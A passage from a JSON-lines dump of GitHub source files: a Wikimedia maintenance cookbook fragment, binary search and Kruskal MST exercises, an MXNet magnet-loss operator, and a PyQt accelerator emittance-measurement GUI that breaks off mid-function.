spicerack.mediawiki()\n # Verify timers are enabled in both DCs\n mediawiki.check_periodic_jobs_enabled(args.dc_to)\n mediawiki.check_periodic_jobs_enabled(args.dc_from)\n","repo_name":"wikimedia/operations-cookbooks","sub_path":"cookbooks/sre/switchdc/mediawiki/08-start-maintenance.py","file_name":"08-start-maintenance.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"27165601298","text":"class BinarySearch:\n\t@staticmethod\n\tdef binary_search(items, search_item):\n\t\tleft_index = 0\n\t\tright_index = len(items) - 1\n\t\t\t\n\t\twhile left_index <= right_index:\t\t\n\t\t\tmid_index = (left_index + right_index) // 2\n\t\t\tif items[mid_index] == search_item:\t\t\n\t\t\t\treturn mid_index\t\t\n\t\t\telif items[mid_index] < search_item:\t\t\n\t\t\t\tleft_index = mid_index + 1\t\t\t\n\t\t\telse:\t\t\t\n\t\t\t\tright_index = mid_index - 1\t\t\t\t\n\t\t\n\t\t\t\nnumbers = list(map(int, input(\"Please enter the sorted list of number: \").split()))\nsearch_number = int(input(\"Please enter the search number: \"))\nbinarySearch = BinarySearch()\nindex = binarySearch.binary_search(numbers, search_number)\n\nif index is None:\n\tprint(\"The search number does not exit in the list.\")\nelse:\n\tprint(\"The index of search number is\", index)\n\t","repo_name":"sayonUsman/DSA_in_Python","sub_path":"binary_search2.py","file_name":"binary_search2.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"446866824","text":"# 최소 비용 신장 트리(MST)\n# 신장 트리 : 정점 모두 연결\n# 최소 신장 트리 : 간선에 있는 가중치의 합이 최소인 신장 트리 (무방향)\n# 리스트, 인접행렬, 트리 등\n'''\n6 11\n0 1 32\n0 2 31\n0 5 60\n0 6 51\n1 2 21\n2 4 46\n2 6 25\n3 4 34\n3 5 18\n4 5 40\n4 6 51\n'''\n\ndef find_set(x): # x가 속한 집합의 대표 리턴\n while x != rep[x]: # x == rep[x]까지\n x = rep[x]\n return x\n\ndef union(x, y): # y의 대표원소가 x의 대표원소를 가르키도록\n rep[find_set(y)] = find_set(x)\n\nV, E = map(int, input().split()) # 0~V:정점 번호, E:간선\n# makeset()\nrep = [i for i in range(V+1)] #\ngraph = []\nfor _ in range(E):\n v1, v2, w = map(int, input().split())\n graph.append([v1, v2, w])\n\n# [1] 가중치 기준 오름차순 정렬\ngraph.sort(key=lambda x:x[2])\n#graph.sort\n# print(graph)\n\n# [2] N개 정점(V+1), N-1개의 간선 선택\nN = V + 1\ns = 0 # MST에 포함된 간선의 가중치 합\ncnt = 0\nMST = []\n\n# while cnt < N - 1:\n# for # 가중치가 작은 것부터 ...\n\nfor u, v, w in graph: # 가중치가 작은 것부터\n if find_set(u) != find_set(v): # 사이클이 생기지 않으면\n cnt += 1\n s += w # 가중치 합\n MST.append([u, v, w])\n union(u, v)\n if cnt == N - 1: # MST 구성 완료\n break\n print(s)\n print(MST)\n","repo_name":"ddingdu/Python_Algorithm","sub_path":"알고리즘/23.04.04_그래프/MST_live.py","file_name":"MST_live.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13497132887","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\"\"\n\n\n# MXNET_CPU_WORKER_NTHREADS must be greater than 1 for custom op to work on CPU\nimport mxnet as mx\nfrom math import isnan\n\nclass magnetLoss(mx.operator.CustomOp):\n def __init__(self, ctx, shapes, dtypes, M=12, D=4,alpha=1):\n \n \n self.M = M\n self.batch_size = shapes[0][0]\n self.D = D\n self.alpha = alpha\n\n def forward(self, is_train, req, in_data, out_data,aux):\n M = int(self.M)\n D = int (self.D)\n alpha = float(self.alpha)\n data = in_data[0]\n labels = in_data[1].asnumpy()\n aux_h = aux[0]\n aux_diff = aux[1]\n auxCentroid = aux[2]\n auxSigma = aux[3]\n wrapSize = M * D\n batchSize = data.shape[0]\n xpu = data.context \n loss_out = mx.nd.zeros((batchSize,),ctx = xpu)\n \n for ii in range(batchSize / wrapSize):\n wrap=data[ii*wrapSize:(ii+1)*wrapSize]\n wraplables = labels[ii*wrapSize:(ii+1)*wrapSize]\n #calculate cluster centers\n mu = []\n for j in range(wrapSize/D):\n c = mx.nd.sum(wrap[j*D:(j+1)*D],axis=0) / D\n mu.append(c)\n auxCentroid[ii*M+j][:]=c\n #calculate distance to the center \n diff= []\n for n in range(wrapSize):\n diff.append([])\n for m in range(M):\n d = mx.nd.sum(mx.nd.square(wrap[n] - mu[m]))\n #d = mx.nd.sqrt(d)\n# bug_d = d.asnumpy()\n# if isnan(bug_d):\n# import pdb;pdb.set_trace()\n diff[n].append(d)\n aux_diff[ii*wrapSize+n][m:m+1]=d\n #calculate sigma\n s=mx.nd.zeros(1,ctx = xpu)\n k=0\n m=0\n for j in range(wrapSize):\n s += diff[j][m]\n k = k+1\n if k>=D : \n k=0\n m+=1\n s = s/(batchSize - 1)\n sigma = s.asnumpy()\n sigma = float(2*sigma[0])\n auxSigma[:] = s\n \n #calculate loss for wrap\n loss=mx.nd.zeros(1,ctx=xpu)\n frac = mx.nd.zeros(1,ctx=xpu)\n #sum the distance to centers from diferent class\n for j in range(wrapSize):\n frac[:] = 0 \n for i in range(M):\n if wraplables[j] !=wraplables[i*D]:\n frac += mx.nd.exp(- diff[j][i]/sigma) \n aux_h[ii*wrapSize+j:ii*wrapSize+j+1] = frac\n f=diff[j][int(j/D)]/sigma+alpha\n loss += f + mx.nd.log(frac)\n loss = loss / wrapSize\n mx.nd.broadcast_to( loss,\\\n out=loss_out[ii*wrapSize:(ii+1)*wrapSize],\\\n shape = (wrapSize))\n self.assign(out_data[0], req[0], loss_out)\n\n def backward(self, req, out_grad, in_data, out_data, in_grad, aux):\n aux_h = aux[0]\n aux_d = aux[1]\n auxCentroid = aux[2]\n auxSigma = aux[3]\n data = in_data[0]\n labels = in_data[1].asnumpy()\n xpu = data.context\n M = int(self.M)\n D = int (self.D)\n wrapSize = M * D\n batchSize = data.shape[0]\n featureSize = data.shape[1]\n grad = mx.nd.zeros((batchSize,featureSize),ctx = xpu)\n Sigma= auxSigma.asnumpy()\n #y = out_data[0].asnumpy()\n part = mx.nd.zeros((featureSize,),ctx=xpu)\n\n for ii in range(batchSize / wrapSize):\n wrap=data[ii*wrapSize:(ii+1)*wrapSize]\n wraplables = labels[ii*wrapSize:(ii+1)*wrapSize]\n sigma = Sigma[ii] \n for j in range(wrapSize):\n part[:] = 0\n cnt = 0 \n for i in range(M):\n if wraplables[j] !=wraplables[i*D]:\n score = mx.nd.exp(- aux_d[ii*wrapSize+j][i:i+1]/(2*sigma))\n part += mx.nd.broadcast_mul(auxCentroid[ii*M+i],score)\n cnt +=1\n gh = mx.nd.broadcast_div(part,aux_h[ii*wrapSize+j:ii*wrapSize+j+1])\n gf = wrap[j]-auxCentroid[ii*M+int(j/D)]\n g = gf - wrap[j]*cnt +gh\n g = g/(M * D * sigma)\n #grad[ii*wrapSize+j] = g*y[ii*wrapSize+j]\n grad[ii*wrapSize+j] = g\n self.assign(in_grad[0], req[0], grad)\n \n \n \n \n\n \n\n\n\n@mx.operator.register(\"magnetLoss\")\nclass magnetLossProp(mx.operator.CustomOpProp):\n def __init__(self, M=8,D=4, alpha=1, batchsize=128):\n super(magnetLossProp, self).__init__(need_top_grad=False)\n\n # convert it to numbers\n self.M = int(M)\n self.D = float(D)\n self.alpha = float(alpha)\n self.batchsize = int(batchsize)\n\n def list_arguments(self):\n return ['data', 'label']\n\n def list_outputs(self):\n return ['output']\n \n def list_auxiliary_states(self):\n # call them 'bias' for zero initialization\n return [ 'h_bias', 'd_bias', 'centroid_bias', 's_bias']\n\n def infer_shape(self, in_shape):\n wrapNum = int(self.batchsize / (self.M *self.D))\n data_shape = in_shape[0]\n label_shape = (in_shape[0][0],)\n d_shape = (self.batchsize,self.M)\n h_shape = (self.batchsize,)\n c_shape = (self.M * wrapNum, in_shape[0][1])\n s_shape = (wrapNum,)\n\n output_shape = (in_shape[0][0],)\n return [data_shape, label_shape], [output_shape] ,\\\n [ h_shape, d_shape,c_shape,s_shape]\n\n def create_operator(self, ctx, shapes, dtypes):\n return magnetLoss(ctx, shapes, dtypes, self.M, self.D, self.alpha)","repo_name":"akturtle/magnet","sub_path":"magnetLoss.py","file_name":"magnetLoss.py","file_ext":"py","file_size_in_byte":5873,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"26255848614","text":"#!/usr/bin/env python-sirius\n\nimport logging as _log\nfrom threading import Thread, Event\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom epics import PV\n\nimport matplotlib.pyplot as mplt\nimport matplotlib.gridspec as mgs\nfrom matplotlib import rcParams\n\nfrom qtpy.QtWidgets import QPushButton, QLabel, QGridLayout, QGroupBox, \\\n QFormLayout, QMessageBox, QWidget, QComboBox, QVBoxLayout, \\\n QFileDialog, QHBoxLayout, QCheckBox\nfrom qtpy.QtGui import QColor\nfrom qtpy.QtCore import Qt, Slot\n\nfrom pyqtgraph import PlotCurveItem, mkPen\n\nfrom pydm.widgets import PyDMImageView\nfrom pydm.widgets.logdisplay import PyDMLogDisplay\n\nimport mathphys.constants as _consts\nfrom siriuspy.envars import VACA_PREFIX as _VACA_PREFIX\nfrom siriuspy.namesys import SiriusPVName as _PVName\nfrom siriuspy.magnet.factory import NormalizerFactory as _NormFact\n\nfrom siriushla.widgets import SiriusSpinbox, SiriusLabel, MatplotlibWidget, \\\n QSpinBoxPlus, QDoubleSpinBoxPlus\nfrom siriushla.as_ti_control import HLTriggerSimple\n\nrcParams.update({\n 'font.size': 9, 'axes.grid': True, 'grid.linestyle': '--',\n 'grid.alpha': 0.5})\n\nDT = 0.001\nSIMUL = False\n\nC = _consts.light_speed\nE0 = _consts.electron_rest_energy / _consts.elementary_charge * 1e-6 # [MeV]\n\n_log.basicConfig(format='%(levelname)7s ::: %(message)s')\n\n\nclass EmittanceMeasure(QWidget):\n\n def __init__(self, parent=None, place='LI', prefix=_VACA_PREFIX):\n super().__init__(parent=parent)\n self._place = place or 'LI'\n self._prefix = prefix\n self.setObjectName(self._place[0:2] + 'App')\n self._select_experimental_setup()\n self.nemitx_tm = []\n self.nemity_tm = []\n self.nemitx_parf = []\n self.nemity_parf = []\n self.betax_tm = []\n self.betay_tm = []\n self.betax_parf = []\n self.betay_parf = []\n self.alphax_tm = []\n self.alphay_tm = []\n self.alphax_parf = []\n self.alphay_parf = []\n self.measurement = None\n self.I_meas = None\n self.sigma = None\n self.plane_meas = None\n\n self._setupUi()\n\n def meas_emittance(self):\n self._acquire_data()\n self._perform_analysis()\n\n def _select_experimental_setup(self):\n if self._place.lower().startswith('li'):\n self.plt_image = ProcessImage(\n self, place='LI-Emittance', prefix=self._prefix)\n self.conv2kl = _NormFact.create('LI-01:MA-QF3')\n self.quad_I_sp = PV(_PVName(\n 'LI-01:PS-QF3:Current-SP').substitute(prefix=self._prefix))\n self.quad_I_rb = PV(_PVName(\n 'LI-01:PS-QF3:Current-Mon').substitute(prefix=self._prefix))\n self.DIST = 2.8775\n self.QUAD_L = 0.112\n if self._place.lower().startswith('tb-qd2a'):\n self.plt_image = ProcessImage(\n self, place='TB-Emittance', prefix=self._prefix)\n self.conv2kl = _NormFact.create('TB-02:MA-QD2A')\n self.quad_I_sp = PV(_PVName(\n 'TB-02:PS-QD2A:Current-SP').substitute(prefix=self._prefix))\n self.quad_I_rb = PV(_PVName(\n 'TB-02:PS-QD2A:Current-RB').substitute(prefix=self._prefix))\n self.DIST = 6.904\n self.QUAD_L = 0.1\n if self._place.lower().startswith('tb-qf2a'):\n self.plt_image = ProcessImage(\n self, place='TB-Emittance', prefix=self._prefix)\n self.conv2kl = _NormFact.create('TB-02:MA-QF2A')\n self.quad_I_sp = PV(_PVName(\n 'TB-02:PS-QF2A:Current-SP').substitute(prefix=self._prefix))\n self.quad_I_rb = PV(_PVName(\n 'TB-02:PS-QF2A:Current-RB').substitute(prefix=self._prefix))\n self.DIST = 6.534\n self.QUAD_L = 0.1\n\n def _acquire_data(self):\n samples = self.spbox_samples.value()\n outlier = self.spbox_outliers.value()\n if samples <= outlier:\n _log.warning(\n 'Number of samples must be larger than number o outliers.')\n _log.warning('Acquisition aborted.')\n return\n nsteps = self.spbox_steps.value()\n I_ini = self.spbox_I_ini.value()\n I_end = self.spbox_I_end.value()\n\n outs = outlier // 2 # outliers below median\n outg = outlier - outs # outliers above median\n\n self.line_sigmax.set_xdata([])\n self.line_sigmax.set_ydata([])\n self.line_sigmay.set_xdata([])\n self.line_sigmay.set_ydata([])\n self.line_fit.set_xdata([])\n self.line_fit.set_ydata([])\n self.fig_sigma.figure.canvas.draw()\n\n pl = 'y' if self.cbbox_plane.currentIndex() else 'x'\n curr_list = np.linspace(I_ini, I_end, nsteps)\n init_curr = self.quad_I_sp.value\n sigma = []\n I_meas = []\n for i, I in enumerate(curr_list):\n _log.info('setting quadrupole to {0:8.3f} A'.format(I))\n if not SIMUL:\n self.quad_I_sp.put(I, wait=True)\n self._measuring.wait(5 if i else 15)\n j = 0\n I_tmp = []\n sig_tmp = []\n while j < samples:\n if self._measuring.is_set():\n self.pb_stop.setEnabled(False)\n self.pb_start.setEnabled(True)\n _log.info('Stopped')\n return\n _log.info(' sample {0:02d}'.format(j))\n I_now = self.quad_I_rb.value\n cen_x, sigma_x, cen_y, sigma_y = self.plt_image.get_params()\n mu, sig = (cen_x, sigma_x) if pl == 'x' else (cen_y, sigma_y)\n max_size = self.spbox_threshold.value()*1e-3\n if sig > max_size:\n self._measuring.wait(1)\n continue\n I_tmp.append(I_now)\n sig_tmp.append(abs(sig))\n self._measuring.wait(0.5)\n j += 1\n ind = np.argsort(sig_tmp)\n I_tmp = np.array(I_tmp)[ind]\n sig_tmp = np.array(sig_tmp)[ind]\n I_meas.extend(I_tmp[outs:-outg])\n sigma.extend(sig_tmp[outs:-outg])\n if pl == 'x':\n self.line_sigmax.set_xdata(I_meas)\n self.line_sigmax.set_ydata(np.array(sigma)*1e3)\n else:\n self.line_sigmay.set_xdata(I_meas)\n self.line_sigmay.set_ydata(np.array(sigma)*1e3)\n self.fig_sigma.figure.axes[0].set_xlim(\n [min(I_meas)*(1-DT*10), max(I_meas)*(1+DT*10)])\n self.fig_sigma.figure.axes[0].set_ylim(\n [min(sigma)*(1-DT)*1e3, max(sigma)*(1+DT)*1e3])\n self.fig_sigma.figure.canvas.draw()\n self._measuring.set()\n _log.info('Returning Quad to Initial Current')\n self.quad_I_sp.put(init_curr, wait=True)\n\n self.pb_stop.setEnabled(False)\n self.pb_start.setEnabled(True)\n _log.info('Finished!')\n self.I_meas = I_meas\n self.sigma = sigma\n self.plane_meas = pl\n\n def _perform_analysis(self):\n sigma = np.array(self.sigma)\n I_meas = np.array(self.I_meas)\n pl = self.plane_meas\n K1 = self._get_K1_from_I(I_meas)\n\n # Transfer Matrix\n nem, bet, alp = self._trans_matrix_analysis(K1, sigma, pl=pl)\n getattr(self, 'nemit' + pl + '_tm').append(nem)\n getattr(self, 'beta' + pl + '_tm').append(bet)\n getattr(self, 'alpha' + pl + '_tm').append(alp)\n\n # Parabola Fitting\n nem, bet, alp = self._thin_lens_approx(K1, sigma, pl=pl)\n getattr(self, 'nemit' + pl + '_parf').append(nem)\n getattr(self, 'beta' + pl + '_parf').append(bet)\n getattr(self, 'alpha' + pl + '_parf').append(alp)\n\n for pref in ('nemit', 'beta', 'alpha'):\n for var in ('_tm', '_parf'):\n tp = pref + pl + var\n yd = np.array(getattr(self, tp))\n line = getattr(self, 'line_'+tp)\n line.set_xdata(np.arange(yd.shape[0]))\n line.set_ydata(yd)\n lb = getattr(self, 'lb_'+tp)\n lb.setText('{0:.3f}'.format(yd.mean()))\n params = []\n for var in ('x_tm', 'y_tm', 'x_parf', 'y_parf'):\n params.extend(getattr(self, pref + var))\n params = np.array(params)\n axes = getattr(self, 'line_' + pref + 'x_parf').axes\n axes.set_xlim([-0.1, params.shape[0]+0.1])\n axes.set_ylim([params.min()*(1-DT), params.max()*(1+DT)])\n self.fig_res.figure.canvas.draw()\n\n def _get_K1_from_I(self, I_meas):\n energy = self.spbox_energy.value() * 1e-3 # energy in GeV\n KL = self.conv2kl.conv_current_2_strength(\n I_meas, strengths_dipole=energy)\n return KL/self.QUAD_L\n\n def _trans_matrix_analysis(self, K1, sigma, pl='x'):\n Rx, Ry = self._get_trans_mat(K1)\n R = Rx if pl == 'x' else Ry\n pseudo_inv = (np.linalg.inv(np.transpose(R) @ R) @ np.transpose(R))\n [s_11, s_12, s_22] = pseudo_inv @ (sigma*sigma)\n # s_11, s_12, s_22 = np.linalg.lstsq(R, sigma * sigma)[0]\n nemit, beta, alpha, gamma = self._twiss(s_11, s_12, s_22)\n return nemit, beta, alpha\n\n def _thin_lens_approx(self, K1, sigma, pl='x'):\n K1 = K1 if pl == 'x' else -K1\n a, b, c = np.polyfit(K1, sigma*sigma, 2)\n yd = np.sqrt(np.polyval([a, b, c], K1))\n self.line_fit.set_xdata(self.I_meas)\n self.line_fit.set_ydata(yd*1e3)\n self.fig_sigma.figure.canvas.draw()\n\n d = self.DIST + self.QUAD_L/2\n l = self.QUAD_L\n s_11 = a/(d*l)**2\n s_12 = (-b-2*d*l*s_11)/(2*l*d*d)\n s_22 = (c-s_11-2*d*s_12)/d**2\n nemit, beta, alpha, gamma = self._twiss(s_11, s_12, s_22)\n return nemit, beta, alpha\n\n def _twiss(self, s_11, s_12, s_22):\n energy = self.spbox_energy.value() # energy in MeV\n emit = np.sqrt(abs(s_11 * s_22 - s_12 * s_12))\n beta = s_11 / emit\n alpha = -s_12 / emit\n gamma = s_22 / emit\n nemit = emit * energy / E0 * 1e6 # in mm.mrad\n return nemit, beta, alpha, gamma\n\n def _get_trans_mat(self, K1):\n R = np.zeros((len(K1), 4, 4))\n Rd = gettransmat('drift', L=self.DIST)\n for i, k1 in enumerate(K1):\n Rq = gettransmat('quad', L=self.QUAD_L, K1=k1)\n R[i] = np.dot(Rd, Rq)\n R11 = R[:, 0, 0].reshape(-1, 1)\n R12 = R[:, 0, 1].reshape(-1, 1)\n R33 = R[:, 2, 2].reshape(-1, 1)\n R34 = R[:, 2, 3].reshape(-1, 1)\n Rx = np.column_stack((R11*R11, 2*R11*R12, R12*R12))\n Ry = np.column_stack((R33*R33, 2*R33*R34, R34*R34))\n return Rx, Ry\n\n def _setupUi(self):\n gl = QGridLayout(self)\n fig = mplt.figure()\n wid = MatplotlibWidget(fig, parent=self)\n wid.setObjectName('fig_result')\n wid.setStyleSheet('#fig_result{min-width: 25em;}')\n self.fig_res = wid\n\n gs = mgs.GridSpec(3, 1)\n gs.update(left=0.18, right=0.98, top=0.97, bottom=0.08, hspace=0.25)\n\n axes = wid.figure.add_subplot(gs[0, 0])\n axes.set_xlabel('Index')\n axes.set_ylabel('Normalized Emit. [mm.mrad]')\n axes.grid(True)\n axes.set_aspect('auto')\n self.line_nemitx_tm = axes.plot(\n self.nemitx_tm, '-bo', lw=1, label='Hor. Trans. Mat.')[0]\n self.line_nemitx_parf = axes.plot(\n self.nemitx_parf, '--bd', lw=1, label='Hor. Parab. Fit')[0]\n self.line_nemity_tm = axes.plot(\n self.nemity_tm, '--ro', lw=1, label='Vert. Trans. Mat.')[0]\n self.line_nemity_parf = axes.plot(\n self.nemity_parf, '--rd', lw=1, label='Vert. Parab. Fit')[0]\n axes.legend(loc='best')\n\n axes = wid.figure.add_subplot(gs[1, 0])\n axes.set_xlabel('Index')\n axes.set_ylabel(r'$\\beta$ [m]')\n self.line_betax_tm = axes.plot(\n self.betax_tm, '-bo', lw=1, label='Hor. Trans. Mat.')[0]\n self.line_betax_parf = axes.plot(\n self.betax_parf, '--bd', lw=1, label='Hor. Parab. Fit')[0]\n self.line_betay_tm = axes.plot(\n self.betay_tm, '--ro', lw=1, label='Vert. Trans. Mat.')[0]\n self.line_betay_parf = axes.plot(\n self.betay_parf, '--rd', lw=1, label='Vert. Parab. Fit')[0]\n\n axes = wid.figure.add_subplot(gs[2, 0])\n axes.set_xlabel('Index')\n axes.set_ylabel(r'$\\alpha$')\n self.line_alphax_tm = axes.plot(\n self.alphax_tm, '-bo', lw=1, label='Hor. Trans. Mat.')[0]\n self.line_alphax_parf = axes.plot(\n self.alphax_parf, '--bd', lw=1, label='Hor. Parab. Fit')[0]\n self.line_alphay_tm = axes.plot(\n self.alphay_tm, '--ro', lw=1, label='Vert. Trans. Mat.')[0]\n self.line_alphay_parf = axes.plot(\n self.alphay_parf, '--rd', lw=1, label='Vert. Parab. Fit')[0]\n\n measlay = QVBoxLayout()\n\n gb = QGroupBox('QF3 Current [A]', self)\n measlay.addWidget(gb)\n gb.setLayout(QHBoxLayout())\n spnbox = SiriusSpinbox(\n gb, _PVName('LI-01:PS-QF3:Current-SP').substitute(\n prefix=self._prefix))\n lbl = SiriusLabel(\n gb, _PVName('LI-01:PS-QF3:Current-Mon').substitute(\n prefix=self._prefix))\n gb.layout().addWidget(spnbox)\n gb.layout().addWidget(lbl)\n gb.layout().setAlignment(Qt.AlignTop)\n\n gb = QGroupBox('Data Acquisition Configs.', self)\n fl = QFormLayout(gb)\n measlay.addWidget(gb)\n self.pb_start = QPushButton('Start', gb)\n self.pb_start.clicked.connect(self.pb_start_clicked)\n self.pb_stop = QPushButton('Stop', gb)\n self.pb_stop.clicked.connect(self.pb_stop_clicked)\n self.pb_stop.setEnabled(False)\n hbox_bts = QHBoxLayout()\n hbox_bts.addWidget(self.pb_start)\n hbox_bts.addWidget(self.pb_stop)\n fl.addRow(hbox_bts)\n self.cbbox_plane = QComboBox(gb)\n self.cbbox_plane.addItem('Horizontal')\n self.cbbox_plane.addItem('Vertical')\n fl.addRow(QLabel('Plane', gb), self.cbbox_plane)\n self.spbox_steps = QSpinBoxPlus(gb)\n self.spbox_steps.setValue(11)\n fl.addRow(QLabel('Nr Steps', gb), self.spbox_steps)\n self.spbox_samples = QSpinBoxPlus(gb)\n self.spbox_samples.setMinimum(1)\n self.spbox_samples.setValue(16)\n fl.addRow(QLabel('Nr Samples per step', gb), self.spbox_samples)\n self.spbox_outliers = QSpinBoxPlus(gb)\n self.spbox_outliers.setMinimum(0)\n self.spbox_outliers.setValue(12)\n fl.addRow(QLabel('Nr Outliers', gb), self.spbox_outliers)\n self.spbox_I_ini = QDoubleSpinBoxPlus(gb)\n self.spbox_I_ini.setMinimum(-4)\n self.spbox_I_ini.setMaximum(4)\n self.spbox_I_ini.setValue(-0.7)\n self.spbox_I_ini.setDecimals(3)\n fl.addRow(QLabel('Initial Current [A]', gb), self.spbox_I_ini)\n self.spbox_I_end = QDoubleSpinBoxPlus(gb)\n self.spbox_I_end.setMinimum(-4)\n self.spbox_I_end.setMaximum(4)\n self.spbox_I_end.setValue(0.7)\n self.spbox_I_end.setDecimals(3)\n fl.addRow(QLabel('Final Current [A]', gb), self.spbox_I_end)\n self.spbox_threshold = QDoubleSpinBoxPlus(gb)\n self.spbox_threshold.setMinimum(0)\n self.spbox_threshold.setMaximum(20)\n self.spbox_threshold.setValue(4)\n self.spbox_threshold.setDecimals(2)\n fl.addRow(QLabel('Max. Size Accpbl. [mm]', gb), self.spbox_threshold)\n\n measlay.setStretch(0, 2)\n measlay.setStretch(1, 8)\n\n anllay = QVBoxLayout()\n\n gb = QGroupBox('Analysis Configs.', self)\n vl = QVBoxLayout(gb)\n anllay.addWidget(gb)\n self.spbox_energy = QDoubleSpinBoxPlus(gb)\n self.spbox_energy.setMinimum(0.511)\n self.spbox_energy.setMaximum(200)\n self.spbox_energy.setValue(150)\n self.spbox_energy.setDecimals(2)\n self.pb_analyse_data = QPushButton('Analyse', gb)\n self.pb_analyse_data.clicked.connect(self.pb_analyse_data_clicked)\n hl = QHBoxLayout()\n hl.addWidget(QLabel('Energy [MeV]', gb))\n hl.addWidget(self.spbox_energy)\n hl.addWidget(self.pb_analyse_data)\n vl.addLayout(hl)\n self.pb_save_data = QPushButton('Save Raw', gb)\n self.pb_save_data.clicked.connect(self.pb_save_data_clicked)\n self.pb_load_data = QPushButton('Load Raw', gb)\n self.pb_load_data.clicked.connect(self.pb_load_data_clicked)\n hl = QHBoxLayout()\n hl.addWidget(self.pb_save_data)\n hl.addWidget(self.pb_load_data)\n vl.addLayout(hl)\n self.logdisplay = PyDMLogDisplay(self, level=_log.INFO)\n vl.addWidget(self.logdisplay)\n\n resultsgb = QGroupBox('Results', self)\n gl2 = QGridLayout(resultsgb)\n gl2.addWidget(QLabel('Trans. Matrix', resultsgb), 0, 1, 1, 2)\n gl2.addWidget(QLabel('Parabola Fit', resultsgb), 0, 3, 1, 2)\n gl2.addWidget(QLabel('Hor.', resultsgb), 1, 1)\n gl2.addWidget(QLabel('Vert.', resultsgb), 1, 2)\n gl2.addWidget(QLabel('Hor.', resultsgb), 1, 3)\n gl2.addWidget(QLabel('Vert.', resultsgb), 1, 4)\n gl2.addWidget(QLabel('Norm. emitt.\\n[mm.mrad]', resultsgb), 2, 0)\n gl2.addWidget(QLabel('beta [m]', resultsgb), 3, 0)\n gl2.addWidget(QLabel('alpha', resultsgb), 4, 0)\n for i, pref in enumerate(('nemit', 'beta', 'alpha')):\n for j, tp in enumerate(('x_tm', 'y_tm', 'x_parf', 'y_parf')):\n name = pref + tp\n lb = QLabel('----', resultsgb)\n setattr(self, 'lb_' + name, lb)\n gl2.addWidget(lb, i+2, j+1)\n\n wid = MatplotlibWidget(parent=self)\n axes = wid.figure.add_subplot(111)\n axes.set_xlabel('Quad. Current [A]')\n axes.set_ylabel('Beam Size [mm]')\n wid.figure.set_tight_layout(True)\n self.line_sigmax = axes.plot([], 'bo', lw=1, label='Horizontal')[0]\n self.line_sigmay = axes.plot([], 'ro', lw=1, label='Vertical')[0]\n self.line_fit = axes.plot([], '-k', lw=1)[0]\n wid.setObjectName('fig_sigma')\n wid.setStyleSheet('#fig_sigma{min-width: 25em;}')\n self.fig_sigma = wid\n\n gl.addWidget(self.plt_image, 0, 0, 2, 1)\n gl.addItem(measlay, 0, 1)\n gl.addWidget(self.fig_sigma, 1, 1)\n gl.addItem(anllay, 0, 2)\n gl.addWidget(resultsgb, 1, 2)\n gl.addWidget(self.fig_res, 0, 3, 2, 1)\n\n def pb_save_data_clicked(self):\n if self.I_meas is None or self.sigma is None:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Warning)\n msg.setText(\"Could not Save\")\n msg.setInformativeText(\n \"There are no data saved in Memory. Make a measurement First.\")\n msg.setWindowTitle(\"Warning\")\n msg.resize(900, 300)\n msg.exec_()\n return\n fname = QFileDialog.getSaveFileName(\n self, 'Save file', '', 'Text Files (*.txt *.dat)')\n if fname[0]:\n self.save_to_file(fname[0])\n\n def save_to_file(self, fname):\n header = 'Plane = {0:s}\\n'.format(self.plane_meas)\n header += '{0:15s} {1:15s}'.format('Current [A]', 'Beam Size [m]')\n np.savetxt(fname, np.column_stack(\n (self.I_meas, self.sigma)), header=header, fmt='%-15.9f %-15.10f')\n\n def pb_load_data_clicked(self):\n fname = QFileDialog.getOpenFileName(\n self, 'Open file', '', 'Text Files (*.txt *.dat)')\n if fname[0]:\n self.load_from_file(fname[0])\n\n def load_from_file(self, fname):\n try:\n self.I_meas, self.sigma = np.loadtxt(\n fname, skiprows=2, unpack=True)\n except (ValueError, TypeError):\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Warning)\n msg.setText(\"Could not Load File\")\n msg.setInformativeText(\n \"The chosen file does not match the formatting.\")\n msg.setWindowTitle(\"Warning\")\n msg.resize(900, 300)\n msg.exec_()\n return\n with open(fname, 'r') as f:\n self.plane_meas = f.readline().split()[-1]\n\n if self.plane_meas == 'x':\n self.line_sigmax.set_xdata(self.I_meas)\n self.line_sigmax.set_ydata(np.array(self.sigma)*1e3)\n else:\n self.line_sigmay.set_xdata(self.I_meas)\n self.line_sigmay.set_ydata(np.array(self.sigma)*1e3)\n self.fig_sigma.figure.axes[0].set_xlim(\n [min(self.I_meas)*(1-DT*10), max(self.I_meas)*(1+DT*10)])\n self.fig_sigma.figure.axes[0].set_ylim(\n [min(self.sigma)*(1-DT)*1e3, max(self.sigma)*(1+DT)*1e3])\n self.fig_sigma.figure.canvas.draw()\n\n def pb_analyse_data_clicked(self):\n if self.I_meas is None or self.sigma is None:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Warning)\n msg.setText(\"Could Perform Analysis\")\n msg.setInformativeText(\n \"No data in memory. Please make a measurement or load the data.\")\n msg.setWindowTitle(\"Warning\")\n msg.resize(900, 300)\n msg.exec_()\n return\n self._perform_analysis()\n\n def pb_start_clicked(self):\n \"\"\"\n Slot documentation goes here.\n \"\"\"\n _log.info('Starting...')\n if self.measurement is not None and self.measurement.isAlive():\n return\n self.pb_stop.setEnabled(True)\n self.pb_start.setEnabled(False)\n self._measuring = Event()\n self.measurement = Thread(target=self.meas_emittance, daemon=True)\n self.measurement.start()\n\n def pb_stop_clicked(self):\n \"\"\"\n Slot documentation goes here.\n \"\"\"\n _log.info('Stopping...')\n self._measuring.set()\n\n\ndef gettransmat(elem, L, K1=None, B=None):\n R = np.eye(4)\n\n if elem.lower().startswith('qu') and K1 is not None and K1 == 0:\n elem = 'drift'\n if elem.lower().startswith('dr'):\n R = np.array([\n [1, L, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, L],\n [0, 0, 0, 1],\n ])\n elif elem.lower().startswith('qu') and K1 is not None:\n kq = np.sqrt(abs(K1))\n c = np.cos(kq*L)\n s = 